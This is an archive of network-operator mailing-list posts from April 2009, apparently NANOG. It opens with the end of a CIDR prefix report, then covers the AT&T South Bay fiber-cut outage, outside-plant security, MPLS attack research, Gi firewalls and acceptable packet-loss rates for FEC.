AS4841 202.140.163.0/24 AS4841 202.140.164.0/24 AS4841 202.140.165.0/24 AS4841 202.140.166.0/24 AS4841 202.140.167.0/24 AS4841 202.140.168.0/24 AS4841 202.140.169.0/24 AS4841 202.140.170.0/24 AS4841 202.140.171.0/24 AS4841 202.140.172.0/24 AS4841 202.140.173.0/24 AS4841 202.140.174.0/24 AS4841 202.140.175.0/24 AS4841 202.140.180.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.181.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.140.182.0/24 AS7540 HKCIX-AS-AP HongKong Commercial Internet Exchange 202.150.227.0/24 AS17727 NAPINFO-AS-AP PT. NAP Info Lintas Nusa 202.181.32.0/24 AS4645 ASN-HKNET-AP HKNet Co. Ltd 203.12.45.0/24 AS4854 NETSPACE-AS-AP Netspace Online Systems 203.62.0.0/17 AS7575 AARNET-AS-AP Australian Academic and Reasearch Network (AARNet) 203.78.48.0/20 AS9299 IPG-AS-AP Philippine Long Distance Telephone Company 203.89.139.0/24 AS17911 BRAINPK-AS-AP Brain Telecommunication Ltd. 203.111.192.0/20 AS7473 SINGTEL-AS-AP Singapore Telecommunications Ltd 203.112.111.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.113.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.114.0/24 AS4802 ASN-IINET iiNet Limited 203.112.116.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.117.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.118.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.119.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.120.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.121.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.112.127.0/24 AS7474 OPTUSCOM-AS01-AU SingTel Optus Pty Ltd 203.128.128.0/19 AS4134 CHINANET-BACKBONE No.31,Jin-rong Street 203.128.128.0/24 AS23849 CNNIC-NET263-AP Beijing Capital-online science development Co.,Ltd. 203.152.154.0/23 AS9583 SIFY-AS-IN Sify Limited 204.9.216.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.9.217.0/24 AS4323 TWTC - tw telecom holdings, inc. 204.9.218.0/23 AS6389 BELLSOUTH-NET-BLK - BellSouth.net Inc. 204.13.140.0/22 AS7270 NET2PHONE - Net2Phone Corp. 204.13.141.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.142.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.143.0/24 AS7270 NET2PHONE - Net2Phone Corp. 204.13.184.0/23 AS35967 204.13.186.0/23 AS35967 204.13.186.0/24 AS35967 204.13.187.0/24 AS35967 204.19.14.0/23 AS577 BACOM - Bell Canada 204.89.214.0/24 AS4323 TWTC - tw telecom holdings, inc. 205.150.0.0/15 AS701 UUNET - MCI Communications Services, Inc. d/b/a Verizon Business 205.189.134.0/24 AS11814 CYBERSURF - Cybersurf Inc. 205.210.145.0/24 AS11814 CYBERSURF - Cybersurf Inc. 206.180.240.0/20 AS12083 KNOLOGY-NET - Knology Holdings 207.174.0.0/16 AS13790 INTERNAP-BLK3 - Internap Network Services Corporation 207.174.131.0/24 AS30715 NETRACK - Netrack, Inc. 207.174.132.0/23 AS30715 NETRACK - Netrack, Inc. 207.174.151.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.152.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.158.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.177.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.178.0/24 AS11500 PEAKPEAK - Peak to Peak Internet 207.174.182.0/24 AS29831 FONENET - FONE NET, LLC 207.174.188.0/22 AS30715 NETRACK - Netrack, Inc. 207.174.192.0/24 AS29831 FONENET - FONE NET, LLC 207.174.200.0/24 AS22658 EARTHNET - Earthnet, Inc. 207.174.248.0/21 AS6653 PRIVATEI - privateI, LLC 207.204.168.0/24 AS15150 BELLTECH-AS - BELLWETHER TECHNOLOGY CORPORATION 207.204.222.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 207.231.96.0/19 AS11194 NUNETPA - NuNet Inc. 209.54.93.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.111.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 209.54.123.0/24 AS6062 NETPLEX - NETPLEX 209.54.240.0/21 AS10887 BPSI-AS - BPSI Internet Services 209.74.96.0/19 AS10912 INTERNAP-BLK - Internap Network Services Corporation 209.140.90.0/24 AS14461 NTSL - NET SOLUTIONS 209.141.48.0/22 AS14461 NTSL - NET SOLUTIONS 209.145.192.0/18 AS3043 AMPHIB-AS - Amphibian Media Corporation 209.177.93.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 209.177.94.0/24 AS8088 SRTNET - SRT ENTERPRISES 209.222.5.0/24 AS26699 PSI-CT - Printing For Systems Inc 209.222.6.0/24 AS26699 PSI-CT - Printing For Systems Inc 210.5.128.0/20 AS4837 CHINA169-BACKBONE CNCGROUP China169 Backbone 216.37.114.0/23 AS3549 GBLX Global Crossing Ltd. 216.37.120.0/23 AS13377 216.99.16.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.99.20.0/24 AS6395 LVLT-6395 - Level 3 Communications, Inc. 216.172.198.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.172.199.0/24 AS22773 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications Inc. 216.240.240.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.241.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.240.242.0/24 AS7018 ATT-INTERNET4 - AT&T WorldNet Services 216.251.207.0/24 AS1239 SPRINTLINK - Sprint 217.78.71.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.72.0/24 AS12491 IPPLANET-AS IPPlanet 217.78.73.0/24 AS12491 IPPLANET-AS IPPlanet Please see http://www.cidr-report.org for the full report ------------------------------------ Copies of this report are mailed to: nanog at merit.edu eof-list at ripe.net apops at apops.net routing-wg at ripe.net afnog at afnog.org From smb at cs.columbia.edu Fri Apr 10 07:46:05 2009 From: smb at cs.columbia.edu (Steven M. Bellovin) Date: Fri, 10 Apr 2009 08:46:05 -0400 Subject: On a lighter note.. In-Reply-To: References: Message-ID: <20090410084605.74a08bd4@cs.columbia.edu> On Thu, 9 Apr 2009 20:07:05 -0500 jamie rishaw wrote: > It's amusing to see the media's (misdirected) focus on the event. > > Expected : MULTIPLE COORDINATED FIBER CUTS TAKE OUT 911, PHONE, CELL, > INTERNET TO TENS OF THOUSANDS > Google News: AT&T uses Twitter ... > (link) > > *shakes head* > I liked the commenter on sfgate.com who suggested that this showed the necessity of implenting RFCs 1149 and 2549. (At http://www.sfgate.com/cgi-bin/article/comments/view?f=/c/a/2009/04/09/BAP816VTE6.DTL&o=25 I believe.) --Steve Bellovin, http://www.cs.columbia.edu/~smb From nicolist at securite.org Fri Apr 10 08:01:44 2009 From: nicolist at securite.org (Nicolas FISCHBACH) Date: Fri, 10 Apr 2009 15:01:44 +0200 Subject: attacks on MPLS? In-Reply-To: <20090409125604.62240d75@cs.columbia.edu> References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: <49DF4338.2030605@securite.org> Steven M. Bellovin wrote: > http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 So 2001 (*), slide 46+ here: http://www.securite.org/presentations/secip/BHUS-IPBackboneSecurity.pdf (*) this slide deck is from a talk we've given in 2002 (and contains more details than the 2001 one). Nico. -- Nicolas FISCHBACH Senior Manager - Network Engineering/Security - COLT Telecom e:(nico at securite.org) w: From truman at suspicious.org Fri Apr 10 08:23:02 2009 From: truman at suspicious.org (Truman Boyes) Date: Fri, 10 Apr 2009 23:23:02 +1000 Subject: attacks on MPLS? In-Reply-To: References: <20090409125604.62240d75@cs.columbia.edu> Message-ID: Modification to VPN labels in MPLS is interesting however it assumes that providers have exposed their core network to customers. Traffic can be injected into different MPLS VPNs by modifying vpn labels but this is not a trivial attack scenario. For one thing, it would mean the attacker has a view of existing traffic, an understanding of which VPNs are using specific labels, and a path that is inline to modify/ inject traffic. By this same token, attacks on route target membership associations to vpnv4 prefixes would also be a valid attack method. It's all feasible, but it's not trivial. Truman On 10/04/2009, at 4:28 AM, Christian Koch wrote: > They presented on the same topic at shmoocon, not sure if the info > is any > more updated for BH EUROPE, but here is the pres they did in Feb09 > > http://www.shmoocon.org/slides/rey_mende_all_your_packets_v05.pdf > > > > On Thu, Apr 9, 2009 at 10:15 AM, Hector Herrera >wrote: > >> On Thu, Apr 9, 2009 at 9:56 AM, Steven M. Bellovin > > >> wrote: >>> >> http://www.darkreading.com/securityservices/services/data/showArticle.jhtml?articleID=216403220 >>> >>> >>> --Steve Bellovin, http://www.cs.columbia.edu/~smb>> > >> >> I'll wait to read their full presentation, but according to the >> article it appears to me that if they have gained access to a Network >> Management station or a Router, that the entire network has been >> compromised, not just MPLS. >> >> -- >> Hector Herrera >> President >> Pier Programming Services Ltd. >> >> > From Bob at BRADLEE.ORG Fri Apr 10 08:31:33 2009 From: Bob at BRADLEE.ORG (Bob Bradlee) Date: Fri, 10 Apr 2009 09:31:33 -0400 Subject: Vandalism Likely In Big South Bay Phone Outage In-Reply-To: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> Message-ID: Sounds to me like an ongoing dispute may be close to the bottom of this. http://blogs.barrons.com/techtraderdaily/2009/04/06/att-union-contract-expires-threat-to-cap-ex/ AT&T's answer is to place a $100k bounty on the vandals. The other Bob From Valdis.Kletnieks at vt.edu Fri Apr 10 08:36:22 2009 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 10 Apr 2009 09:36:22 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: Your message of "Fri, 10 Apr 2009 01:51:16 EDT." <20090410055116.GV39240@neu.cow.org> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com> <20090410055116.GV39240@neu.cow.org> Message-ID: <19230.1239370582@turing-police.cc.vt.edu> On Fri, 10 Apr 2009 01:51:16 EDT, Ravi Pina said: > Also not to get sensationalist, but less expensive than a life that > could be lost if an emergency call can't be put through? The alarm that goes off saying the lid got opened is only 2 minutes before the big red alarm that says you just lost 5 OC-768s. So the link is *still* going to drop even as you're on the 911 call to try to explain to them where your manhole is, the cops *still* won't catch anybody (the perps may be gone before you hang up on the 911 call), and you're taking 2 minutes off a 10-hour outage. A lot of expense for not a lot of improvement. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 226 bytes Desc: not available URL: From tme at multicasttech.com Fri Apr 10 10:03:12 2009 From: tme at multicasttech.com (Marshall Eubanks) Date: Fri, 10 Apr 2009 11:03:12 -0400 Subject: Forward Erasure Correction (FEC) and network performance Message-ID: Hello; I work with FEC in various ways, mostly to protect video streams against packet loss, including as co-chair of the IETF FECFRAME WG and in the Video Services Forum. Most FEC is driven by congestion in the edge, RF issues on wireless LANs, etc., but there is always the chance of loss in transit over the wider network. In many important cases, in fact, (e.g., transfer of video from a content creator to an IPTV service provider or Enterprise to Enterprise video conferencing) the loss at the edges can be controlled, leaving only network transit to worry about. This question has thus come up from time to time, and I was hoping that the assembled NANOG might be able to either answer it or provide pointers to the literature : What level of packet loss would trigger response from network operators ? How bad does a sustained packet loss need to be before it is viewed as a problem to be fixed ? Conversely, what is a typical packet loss fraction during periods of good network performance ? If there is some consensus around this, it would effectively set an upper bound for the need for FEC in network transit. I would be glad to accept replies in confidence off list if people don't want their networks to be identified. (To be clear, I am aware that many ISPs offer some sort of MPLS service with a packet loss SLA for video carriage. I am really asking about Internet transport here, although I would be pleased to learn of MPLS statistics if anyone wants to provide them.) Regards Marshall Eubanks From patrick at ianai.net Fri Apr 10 10:27:22 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Fri, 10 Apr 2009 11:27:22 -0400 Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: References: Message-ID: On Apr 10, 2009, at 11:03 AM, Marshall Eubanks wrote: > I work with FEC in various ways, mostly to protect video streams > against packet loss, including as co-chair > of the IETF FECFRAME WG and in the Video Services Forum. Most FEC is > driven by congestion in the edge, RF issues on wireless LANs, etc., > but there is always > the chance of loss in transit over the wider network. In many > important cases, in fact, (e.g., transfer of video from a content > creator to > an IPTV service provider or Enterprise to Enterprise video > conferencing) the loss at the edges can be controlled, leaving only > network transit to > worry about. > > This question has thus come up from time to time, and I was hoping > that the assembled NANOG might be able > to either answer it or provide pointers to the literature : > > What level of packet loss would trigger response from network > operators ? How bad does a sustained packet loss need > to be before it is viewed as a problem to be fixed ? Conversely, > what is a typical packet loss fraction during periods > of good network performance ? > > If there is some consensus around this, it would effectively set an > upper bound for the need for FEC in network transit. There will be two consensuses (consensai?). People who _use_ the network will tell you that a network provider will fix a network when they complain, and never before. You have 50% packet loss? Trying to shove 40 Gbps down a GigE? Provider doesn't care, or notice. People who _run_ the network will tell you: "No packet loss is acceptable!" They'll explain how they constantly monitor their network, have SLAs, give you a tour of their show-NOC, etc. But when you read the SLA, you realize they are measuring packet loss between their core routers in city pairs. And frequently they don't even notice when those hit 2 or 3% packet loss. If you try to send a packet anywhere other than those cities and those router, say down your own transit link, or to a peer, or another customer, well, that's not monitored. And packet loss on those links are not covered by the SLA in many cases. Even if it is covered, it will only be covered from the time you open a ticket. (See point about provider not caring until you complain.) There are a few networks who try harder than others, but no network is perfect. And although you did not say it, I gather than you are not planning to use one of the better networks, you need to use them all. In Summary: How much packet loss is typical? Truthfully, 0% most (i.e. > 50%) of the time. The rest of the time, it varies between a fraction of a percent and double-digit percentages. Good luck on figuring out a global average. -- TTFN, patrick From swmike at swm.pp.se Fri Apr 10 10:36:07 2009 From: swmike at swm.pp.se (Mikael Abrahamsson) Date: Fri, 10 Apr 2009 17:36:07 +0200 (CEST) Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: References: Message-ID: On Fri, 10 Apr 2009, Marshall Eubanks wrote: > What level of packet loss would trigger response from network operators > ? How bad does a sustained packet loss need to be before it is viewed as > a problem to be fixed ? Conversely, what is a typical packet loss > fraction during periods of good network performance ? My personal opinion is that 10^-12 BER per-link requirement in ethernet sets an upper bound to what can be required of ISPs. Given that a full sized ethernet packet is ~10kbits, that gives us 10^-7 packet loss upper bound. Let's say your average packet traverses 10 links, that gives you 10^-6 (one in a million) packet loss when the network is behaving as per standard requirements (I'm aware that most networks behave much better than this when they're behaving optimally). Personally, I'd start investigating bit error rates somewhere around 10^-5 and worse. This is definitely a network problem, whatever is causing it. A well designed non-congesting core network should easily much be better than 10^-5 packet loss. Now, considering your video case. I think most problems in the core are not caused by actual link BER, but other events, such as re-routes, congested links etc, where you don't have single packet drops here and there in the video stream, instead you'll see very bursty loss. Now, I've been in a lot of SLA discussions with customers who asked why 10^-3 packet loss SLA wasn't good enough, they wanted to raise it to 10^-4 or 10^-5. The question to ask then is "when is the network so bad so you want us to tear it to pieces (bringing the packet loss to 100% if needed) to fix the problem". That quickly brings the figures back to 10^-3 or even worse, because most applications will still be bearable at those levels. If you're going to design video codec to handle packet loss, I'd say it should behave without serious visual impairment (ie the huge blocky artefacts travelling across the screen for 300ms) even if there are two packets in a row being lost, and if the jitter is hundreds of ms). It should also be able to handle re-ordering (this is not common, but it happens, especially in a re-route case with microloops). Look at skype, they're able to adapt to all kinds of network impairments and still deliver service, they degrade nicely. They don't have the classic telco "we need 0 packet loss and less than 40ms jitter, because that's how we designed it because we're used to SDH/SONET". -- Mikael Abrahamsson email: swmike at swm.pp.se From martin at theicelandguy.com Fri Apr 10 10:48:14 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Fri, 10 Apr 2009 11:48:14 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: Its all risk and cost. You possibly couldn't have spent enough to stop this event. The outside plant wasn't at fault, highly motivated and informed individuals were. Pretty much a non issue, IMHO. Best, Martin On 4/9/09, Charles Wyble wrote: > Seriously though I want to start some discussion around outside plant > protection. This isn't the middle of the ocean or desert after all. > > There were multiple fiber cuts in a major metropolitan area, resulting > in the loss of critical infrastructure necessary to many peoples daily > lives (though twitter stayed up so it's all good). :) It would appear > that this was a deliberate act by one or more individuals, who seemed to > have a very good idea of where to strike which resulted in a low cost, > low effort attack that yielded significant results. > > > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper normal > operation? > > 2) Why didn't an alarm go off that someone had entered the area? It was > after business hours, presumably not in response to a trouble ticket, > and as such a highly suspicious action. Does it make sense for these > access portals to have some sort of alarm? I mean there is fiber running > through and as such it could carry the signaling. Would this be a > massive cost addition during construction? > > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were the > carriers simply relying on obscurity/barrier to entry? > > > > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From martin at theicelandguy.com Fri Apr 10 11:01:13 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Fri, 10 Apr 2009 12:01:13 -0400 Subject: Vandalism Likely In Big South Bay Phone Outage In-Reply-To: References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> Message-ID: The reward is effective and the one of the best uses of their funds in responding to this event. More outside plant spending is not effective when you are dealing with motivated individuals. I'd like to reemphasize that you can't spend enough on outside or inside plant to stop this type of thing. It is much more cost effective to stalk the executors with rewards and prosecution as a detterent. Best, Martin On 4/10/09, Bob Bradlee wrote: > > Sounds to me like an ongoing dispute may be close to the bottom of this. > > http://blogs.barrons.com/techtraderdaily/2009/04/06/att-union-contract-expires-threat-to-cap-ex/ > > AT&T's answer is to place a $100k bounty on the vandals. > > The other Bob > > > > > -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From eugen at imacandi.net Fri Apr 10 11:27:19 2009 From: eugen at imacandi.net (Eugeniu Patrascu) Date: Fri, 10 Apr 2009 19:27:19 +0300 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <21D1384B-36D7-4A21-A4D0-FE077437C754@cisco.com> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> <21D1384B-36D7-4A21-A4D0-FE077437C754@cisco.com> Message-ID: <49DF7367.5040700@imacandi.net> Roland Dobbins wrote: > > On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: > >> Please share your thought and thanks in advance :) > > No, IMHO. Most broadband operators don't insert firewalls inline in > front of their subscribers, and wireless broadband is no different. Some operators put firewalls to NAT their subscribers into smaller IP address pools (I have put some for a particular one). > > The infrastructure itself must be protected via iACLs, the various > vendor-specific control-plane protection mechanisms, and so forth, but > inserting additional state in the middle of everything doesn't buy > anything, and introduces additional constraints and concerns. > Yes. From jmp at witbe.net Fri Apr 10 11:57:38 2009 From: jmp at witbe.net (Jean-Michel Planche) Date: Sat, 11 Apr 2009 01:57:38 +0900 Subject: [SPAM] Re: Forward Erasure Correction (FEC) and network performance In-Reply-To: References: Message-ID: Le 11 avr. 09 ? 00:03, Marshall Eubanks a ?crit : > What level of packet loss would trigger response from network > operators ? How bad does a sustained packet loss need > to be before it is viewed as a problem to be fixed ? Conversely, > what is a typical packet loss fraction during periods > of good network performance ? It really depend on a lot of parameters and it's why I think this approach is not relevent at all since IP centric solutions. In past, some peoples said that if you loose less than 0,1% of packet, all is good. Now, you can loose 1% of packet and acheive something that work for the end user with Flash 10 technology and ... despite all you can loose 0,01% packet and see a lot of defaults because HD / 8 Mbps / H264 encoding. (we've presented that with Cisco last year at IBC Amsterdam) Fortunatly if you thing about IP centric solution, you can install enough intelligence in the Set Top Box, for exemple or on a PC client side in order to : - re-ask paquets - and / or repair missing one (fec) Booth of this solution are in operation today and permit a really not too bad IPTV with DSL long lines in many operators that I know. > (To be clear, I am aware that many ISPs offer some sort of MPLS > service with a packet loss SLA for video carriage. I am really > asking about > Internet transport here, although I would be pleased to learn of > MPLS statistics if anyone wants to provide them.) You can ask what you want to yours ISP but the magic is : all can happen and loss packet and jitter are not relevent at all ! Then solution is not to ask 100% SLA to ISP (except if you find some crazy man to offer you this with good penalty) but to take care about your service, with a real end to end monitoring. There is no more correlation between backbone artefacts and human artefacts. Best way is a user centric monitoring, top down approach that can understand if all is good at service / application / usage level, in order to control principal real artefacts (blockiness, jerkiness, bluriness and availability of image and sound). That's exist, you can believe me ;-) ---------------------------------------------------------------------------------------------------------------------------------- Jean-Michel Planche www.jmp.net www.twitter.com/jmplanche 2.0 jmp at witbe.net www.witbe.net 1.0 www.internetforeveryone.fr 0.0 From bmanning at vacation.karoshi.com Fri Apr 10 11:57:20 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Fri, 10 Apr 2009 16:57:20 +0000 Subject: Vandalism Likely ... In-Reply-To: References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> Message-ID: <20090410165720.GA22348@vacation.karoshi.com.> at least this year its been changed from "Terrorists" to "Vandals". (when most likley, its over-aggressive metals recyclers who have run out of catalitic converters to steal...) --bill From patrick at ianai.net Fri Apr 10 12:15:48 2009 From: patrick at ianai.net (Patrick W. Gilmore) Date: Fri, 10 Apr 2009 13:15:48 -0400 Subject: Vandalism Likely ... In-Reply-To: <20090410165720.GA22348@vacation.karoshi.com.> References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> <20090410165720.GA22348@vacation.karoshi.com.> Message-ID: <28235353-11A4-490A-AED1-95AF6213953A@ianai.net> On Apr 10, 2009, at 12:57 PM, bmanning at vacation.karoshi.com wrote: > > at least this year its been changed from "Terrorists" to "Vandals". > > (when most likley, its over-aggressive metals recyclers who have > run out of catalitic converters to steal...) I didn't see a smiley. And I seriously doubt metal recyclers are going 10 feet down into man holes, breaking into locked cabinets, cutting _fiber_optic_ cables (not copper), and doing it in exactly the right points to cause the most damage. But what do I know? -- TTFN, patrick From daryl at introspect.net Fri Apr 10 12:37:09 2009 From: daryl at introspect.net (Daryl G. Jurbala) Date: Fri, 10 Apr 2009 13:37:09 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: <3FF2479B-EA99-4B18-94A6-C221C9CFF2F0@introspect.net> On Apr 9, 2009, at 6:04 PM, Charles Wyble wrote: > > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were > the carriers simply relying on obscurity/barrier to entry? Your understanding is incorrect. I'm an average sized guy and I can pull a manhole cover with one hand on the right tool. It might take 2 hands if it hasn't been opened recently and has lots of pebbles and dirt jammed in around it. It's like everything else: if you know how to do it, and you have the right tool, it's simple. And, yes, you can get lockable manhole covers. They aren't cheap. McGuard make a popular one. (Yes, yes...why would I possibly know any of this.....I'm a fire marshal in a small town as a part time gig, so I have to deal with this kind of thing on a reasonably regular basis) Daryl From matthew at eeph.com Fri Apr 10 12:43:26 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Fri, 10 Apr 2009 10:43:26 -0700 Subject: Forward Erasure Correction (FEC) and network performance In-Reply-To: References: Message-ID: <49DF853E.9050400@eeph.com> Marshall Eubanks wrote: > If there is some consensus around this, it would effectively set an > upper bound for the need for FEC in network transit. The bit error rate of copper is better than 1 error in 10^9 bits. The bit error rate of fiber is better than 1 error in 10^12 bits. So the packet loss rate of the transport media is approximately zero.* Thus any packet loss you see is congestion. If you see packet loss, you should SLOW DOWN, not just keep sending and using more and more FEC to get recoverable video out the far end. (And by "SLOW DOWN" I mean in a way that is TCP-friendly, as anything less will starve out TCP flows unfairly and anything more will itself find that it is starved out by TCP) Matthew Kaufman * The bit error rate of RF-based connections like Wi-Fi is higher *but* because they need to transport TCP, and TCP interprets loss as congestion, they implement link-level ARQ in order to emulate the bit-error-rate performance of wire as best they can. From andyring at inebraska.com Fri Apr 10 12:51:42 2009 From: andyring at inebraska.com (Andy Ringsmuth) Date: Fri, 10 Apr 2009 12:51:42 -0500 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <3FF2479B-EA99-4B18-94A6-C221C9CFF2F0@introspect.net> References: <49DE70E0.6040807@thewybles.com> <3FF2479B-EA99-4B18-94A6-C221C9CFF2F0@introspect.net> Message-ID: On Apr 10, 2009, at 12:37 PM, Daryl G. Jurbala wrote: >> >> 3) From what I understand it's not trivial to raise a manhole >> cover. Most likely can't be done by one person. Can they be locked? >> Or were the carriers simply relying on obscurity/barrier to entry? > > > Your understanding is incorrect. I'm an average sized guy and I can > pull a manhole cover with one hand on the right tool. It might take > 2 hands if it hasn't been opened recently and has lots of pebbles > and dirt jammed in around it. It's like everything else: if you > know how to do it, and you have the right tool, it's simple. Agreed. Manhole covers are very simple to remove. I don't even need any tools. I've removed countless manhole covers to retrieve balls, frisbees, etc., with nothing more than my bare hands. It's a pretty trivial task. Think about it. All anyone would need to do is pull up to the manhole, set a few orange cones around it, put on an orange vest and a hard hat, and crawl on in with your wire cutters and bolt cutter. Guaranteed NO ONE will even question it. -Andy From matthew at eeph.com Fri Apr 10 12:57:51 2009 From: matthew at eeph.com (Matthew Kaufman) Date: Fri, 10 Apr 2009 10:57:51 -0700 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <49DE70E0.6040807@thewybles.com> References: <49DE70E0.6040807@thewybles.com> Message-ID: <49DF889F.10805@eeph.com> Charles Wyble wrote: > So allow me to think out loud for a minute.... > > 1) Why wasn't the fiber protected by some sort of hardened/locked > conduit? Is this possible? Does it add extensive cost or hamper normal > operation? Cost, both in implementing (what are likely to be easily-circumvented) physical protection mechanisms and the cost of dealing with those when on-site doing installation and maintenance. > 2) Why didn't an alarm go off that someone had entered the area? It was > after business hours, presumably not in response to a trouble ticket, > and as such a highly suspicious action. Does it make sense for these > access portals to have some sort of alarm? I mean there is fiber running > through and as such it could carry the signaling. Would this be a > massive cost addition during construction? An alarm did go off, the moment the fiber was cut. In the old days, the alarm was gas pressure reduction on the coax followed by loss of signal... now it is loss of the optical carrier. It turns out that the absolute minimum in false alarms is to ignore things bumping into the manhole or falling into the vault and to alarm immediately if the fiber is tampered with, which is exactly what happened. A little semi-automated OTDR and you could tell which manhole it is without driving down to the CO, too. > 3) From what I understand it's not trivial to raise a manhole cover. > Most likely can't be done by one person. Can they be locked? Or were the > carriers simply relying on obscurity/barrier to entry? I see individuals raising manhole covers and going down to do maintenance on their own all the time. Glass is cheap enough that the right solution to this problem is route diversity. An alarm goes off when one path is cut, but you have another path that is still running. Now it takes twice as many people to do the cutting. And if you really care, you can back that path up with other technology like microwave radio. But it all comes down to cost. ADSL and POTS subscribers in Santa Cruz County are willing to pay AT&T money for service that doesn't have sufficient route diversity along Monterey Highway. As long as it is more profitable to run the network that way, that's how it will be run. And people who care, *can* back this up. My home ADSL was down but my 90 Mbps home microwave link was running fine, and my VoIP was unaffected as well. My bank couldn't process transactions (Frame Relay was down) but the gas station next door could (VSAT was up). A few years ago it was the other way around when Galaxy 4 went belly-up. Either one of those *could* pay a few extra dollars a month and have both... and if that becomes financially worthwhile, maybe they will. But they can't expect their race-to-the-cheapest telco or ISP to do it for them without specific contractual agreements to that effect, and frankly a 14-hour outage just isn't enough lost business to pay for it. (If it was, I'd have a lot easier time signing people up as customers of my south SF bay area/north monterey bay area wireless ISP) Matthew Kaufman From smcallah at monkeyland.com Fri Apr 10 13:00:38 2009 From: smcallah at monkeyland.com (Steven M. Callahan) Date: Fri, 10 Apr 2009 14:00:38 -0400 Subject: Vandalism Likely ... In-Reply-To: <28235353-11A4-490A-AED1-95AF6213953A@ianai.net> References: <6cd462c00904091842m73fc4768v270b0d7bb74f1160@mail.gmail.com> <20090410165720.GA22348@vacation.karoshi.com.> <28235353-11A4-490A-AED1-95AF6213953A@ianai.net> Message-ID: On Fri, Apr 10, 2009 at 1:15 PM, Patrick W. Gilmore wrote: > > I didn't see a smiley. > > And I seriously doubt metal recyclers are going 10 feet down into man > holes, breaking into locked cabinets, cutting _fiber_optic_ cables (not > copper), and doing it in exactly the right points to cause the most damage. > > But what do I know? > > The average copper thief normally isn't intelligent enough to know the difference between black PVC clad copper and black PVC clad fiber until they cut it. In this area, thousands of feet of fiber has been stolen along with copper, or left at the scene when the thieves realized it was not copper they had cut out. Copper thieves will climb into power substations, risking electrocution, to steal copper from power companies. So why would they not go down 10 feet into a manhole to get copper? -Steve From randy.fischer at gmail.com Fri Apr 10 13:02:58 2009 From: randy.fischer at gmail.com (Randy Fischer) Date: Fri, 10 Apr 2009 14:02:58 -0400 Subject: Outside plant protection, fiber cuts, interwebz down oh noes! In-Reply-To: <1576117102-1239343341-cardhu_decombobulator_blackberry.rim.net-495679522-@bxe1087.bisx.prod.on.blackberry> References: <49DE70E0.6040807@thewybles.com> <20090410004145.GR39240@neu.cow.org> <49DED7A1.6090809@gmail.com> <20090410055116.GV39240@neu.cow.org> 